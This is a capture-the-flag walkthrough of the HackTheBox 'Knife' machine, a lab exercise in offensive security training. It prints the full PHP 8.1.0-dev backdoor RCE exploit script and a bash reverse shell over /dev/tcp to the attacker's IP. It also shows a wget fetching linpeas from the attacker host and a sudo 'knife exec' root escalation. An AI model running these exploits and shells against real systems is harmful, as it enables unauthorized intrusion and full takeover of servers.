Knife is an easy Linux box released back in May 2021.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB]
→ sudo vim /etc/hosts
[sudo] password for nothing:
[ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB]
→ cat /etc/hosts | tail -n1
10.129.111.84 knife.htb
[ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB]
→ nmap -sCV knife.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-28 21:44 CEST
Nmap scan report for knife.htb (10.129.111.84)
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
Our nmap scan picked up port 80 so let's investigate it:
Here we see that the website is running PHP 8.1.0 so let's look for available exploits:
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~]
→ searchsploit php 8.1.0
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ cp /usr/share/exploit-database/exploits/php/webapps/49933.py .
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ vim 49933.py
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ cat 49933.py
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
# - https://hub.docker.com/r/phpdaily/php
# - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
# - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
# - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md
"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com
An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""
#!/usr/bin/env python3
import os
import re
import requests
host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)
if str(response) == '<Response [200]>':
print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
try:
while 1:
cmd = input("$ ")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"User-Agentt": "zerodiumsystem('" + cmd + "');"
}
response = request.get(host, headers = headers, allow_redirects = False)
current_page = response.text
stdout = current_page.split('<!DOCTYPE html>',1)
text = print(stdout[0])
except KeyboardInterrupt:
print("Exiting...")
exit
else:
print("\r")
print(response)
print("Host is not available, aborting...")
exit
Now let's try that exploit:
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ python3 49933.py
Enter the full host url:
http://knife.htb
Interactive shell is opened on http://knife.htb
Can't acces tty; job crontol turned off.
$ id
uid=1000(james) gid=1000(james) groups=1000(james)
And we got a shell as the james user! Now let's upgrade our shell to a fully interactive TTY:
[term1]
[ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife]
→ nc -lvnp 9001
[term2]
$ bash -c "bash -i >& /dev/tcp/10.10.14.68/9001 0>&1"
[term1]
[ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife]
→ nc -lvnp 9001
Connection from 10.129.111.84:45348
bash: cannot set terminal process group (893): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
james@knife:/$ ^Z
[1] + 269384 suspended nc -lvnp 9001
[ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife]
→ stty raw -echo ; fg
[1] + 269384 continued nc -lvnp 9001
james@knife:/$ export TERM=screen-256color
james@knife:/$ export SHELL=bash
james@knife:/$ stty rows 40 columns 125
james@knife:/$ reset
Now with this we have a fully interactive shell to work with. Let's grab the user flag:
james@knife:/$ cd ~
james@knife:~$ pwd
/home/james
james@knife:~$ cat user.txt
b6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Now in order to escalate privileges let's run linpeas.sh on the target machine:
[term1]
[ 10.10.14.68/23 ] [ /dev/pts/14 ] [~/HTB/Knife]
→ cp /home/nothing/HTB/Cap/linpeas.sh .
[ 10.10.14.68/23 ] [ /dev/pts/14 ] [~/HTB/Knife]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
10.129.111.84 - - [29/Apr/2022 21:15:53] "GET /linpeas.sh HTTP/1.1" 200 -
[term2]
james@knife:~$ wget http://10.10.14.68:9090/linpeas.sh -O /tmp/peas.sh
--2022-04-29 19:15:45-- http://10.10.14.68:9090/linpeas.sh
Connecting to 10.10.14.68:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776167 (758K) [application/x-sh]
Saving to: ‘/tmp/peas.sh’
2022-04-29 19:15:46 (1.05 MB/s) - ‘/tmp/peas.sh’ saved [776167/776167]
james@knife:~$ chmod +x /tmp/peas.sh
james@knife:~$ /tmp/peas.sh
Looking at the output we see the following:
Here we have the knife binary file which can be ran as root by the user james without any password, so let's see what it does:
james@knife:~$ /usr/bin/knife --help
Chef Infra Client: 16.10.8
Docs: https://docs.chef.io/workstation/knife/
Patents: https://www.chef.io/patents
Usage: knife sub-command (options)
-s, --server-url URL Chef Infra Server URL.
--chef-zero-host HOST Host to start Chef Infra Zero on.
--chef-zero-port PORT Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works.
-k, --key KEY Chef Infra Server API client key.
--[no-]color Use colored output, defaults to enabled.
-c, --config CONFIG The configuration file to use.
--config-option OPTION=VALUE Override a single configuration option.
--defaults Accept default values for all questions.
-d, --disable-editing Do not open EDITOR, just accept the data as is.
-e, --editor EDITOR Set the editor to use for interactive commands.
-E, --environment ENVIRONMENT Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored).
--[no-]fips Enable FIPS mode.
-F, --format FORMAT Which format to use for output. (valid options: 'summary', 'text', 'json', 'yaml', or 'pp')
--[no-]listen Whether a local mode (-z) server binds to a port.
-z, --local-mode Point knife commands at local repository instead of Chef Infra Server.
-u, --user USER Chef Infra Server API client username.
--print-after Show the data after a destructive operation.
--profile PROFILE The credentials profile to select.
-V, --verbose More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity.
-v, --version Show Chef Infra Client version.
-y, --yes Say yes to all prompts for confirmation.
-h, --help Show this help message.
Available subcommands: (for details, knife SUB-COMMAND --help)
According to the documentation, this knife binary is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. And it has a gtfobin:
james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
a1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get the root flag!
Here we can see the progress graph :